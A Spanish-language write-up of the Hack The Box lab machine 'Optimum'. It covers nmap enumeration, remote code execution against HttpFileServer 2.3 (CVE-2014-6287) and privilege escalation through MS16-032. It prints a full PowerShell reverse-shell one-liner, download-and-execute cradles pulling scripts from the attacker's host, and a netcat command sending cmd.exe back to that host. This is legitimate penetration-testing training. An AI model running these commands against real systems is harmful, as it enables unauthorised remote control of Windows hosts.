En este post voy a vulnerar la máquina Optimum de Hack the Box. Es una máquina Windows de nivel fácil con dos CVEs y la fase de explotación se puede hacer tanto como por consola de comandos tradicional como por PowerShell.
Enumeración
La enumeración en las máquinas con Windows suele ser muy lenta (y este es un SO viejo) por lo que voy a enumerar directamente los 1000 puertos mas comunes.
nmap --open -n -T5 10.10.10.8

Solo está abierto el puerto 80 por el que corre un servicio http. Escaneo nuevamente el puerto para para ver la versión del servicio que está corriendo en el y ejecuto una serie de scripts básicos de enumeración.
nmap -p80 -sV -sC 10.10.10.8 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-12 16:07 GMT Nmap scan report for 10.10.10.8 Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http HttpFileServer httpd 2.3 |_http-server-header: HFS 2.3 |_http-title: HFS / Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
Veo que se está ejecutando un HTTP File Server 2.3. Entro a la web pero no encuentro ninguna información en ella.

Explotación
Buscando un poco por google, encuentro que esta aplicación posee una vulnerabilidad registrada con el código CVE-2014-6287. Hago una búsqueda de exploits para esta aplicación y encuentro dos que pueden ser útiles (realmente hay tres opciones pero el (1) son instrucciones en vez de un exploit por lo que voy a ignorarlo). Con el primero consigo una shell reversa con CMD y con el segundo con Powershell.

CMD
Puedo encontrar el código, así como las instrucciones de uso de este exploit aquí.
#Usage : python Exploit.py <Target IP address> <Target Port Number>
#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).
# You may need to run it multiple times for success!
Según las instrucciones del exploit, primero tengo que montar un servidor http en el puerto 80 y guardar en él un binario nc.exe. Este binario lo puedo encontrar en Kali Linux en la ruta /usr/share/windows-resources/binaries/nc.exe.
#copio el binario en mi directorio cp /usr/share/windows-resources/binaries/nc.exe . #monto el servidor python -m SimpleHTTPServer 80
Modifico la IP y el puerto en el exploit.
ip_addr = "10.10.14.7" #local IP address
local_port = "7899" # Local Port number
Pongo un Netcat a la escucha por el puerto 7899, ejecuto el exploit y consigo acceder a la máquina víctima.
#Netcat rlwrap nc -nlvp 7899 #ejecuto el exploit python 39161.py 10.10.10.8 80

Powershell
Puedo encontrar el código y las instrucciones de uso de este exploit aquí.
# Usage : python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"
La ejecución de este exploit es similar a la anterior. Primero tengo que crear una shell reversa para powershell. Me descargo un binario de nishang en una sola línea de aquí. Luego tengo que levantar un servidor http donde guardaré el binario.
#binario
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.7",7899);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Pongo un Netcat a la escucha por el puerto 7899, ejecuto el exploit y consigo acceder a la máquina víctima.
#monto el servidor
python -m SimpleHTTPServer 80
#Netcat
rlwrap nc .nlvp 7899
#ejecuto el exploit
python3 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/rshell.ps1')"

Una vez dentro de la máquina, me dirijo a la ruta C:\Users\kostas\Desktop y encuentro la flag de usuario.

Escalada de Privilegios
Voy a empezar buscando vulnerabilidades en el sistema con la ayuda de sherlock. Me descargo el ps1 desde aquí y lo guardo en mi servidor http local. Una vez descargado lo ejecuto y veo las posibles vulnerabilidades.
iex(new-object net.webclient).downloadstring('http://10.10.14.7/Sherlock.ps1')
Find-AllVulns


La primera que me muestra es la MS16-032 que también está registrada como CVE-2016-0099.
Por algún motivo, el exploit que hay en exploit-db no explotaba la vulnerabilidad pero he encontrado otro dentro del proyecto Empire que si funciona y se puede descargar aquí.
Pongo un netcat a la escucha por el puerto 7898, ejecuto el exploit y consigo acceso como System.
#netcat
rlwrap nc -nlvp 7898
#ejecuto el exploit
C:\Windows\sysnative\WindowsPowershell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.10.14.7/Invoke-MS16032.ps1'); Invoke-MS16032 -Command 'C:\\Users\\Public\\nc.exe -e cmd.exe 10.10.14.7 7898'


Me dirijo a la ruta C:\Users\Administrator\Desktop donde encuentro la flag de Administrador.

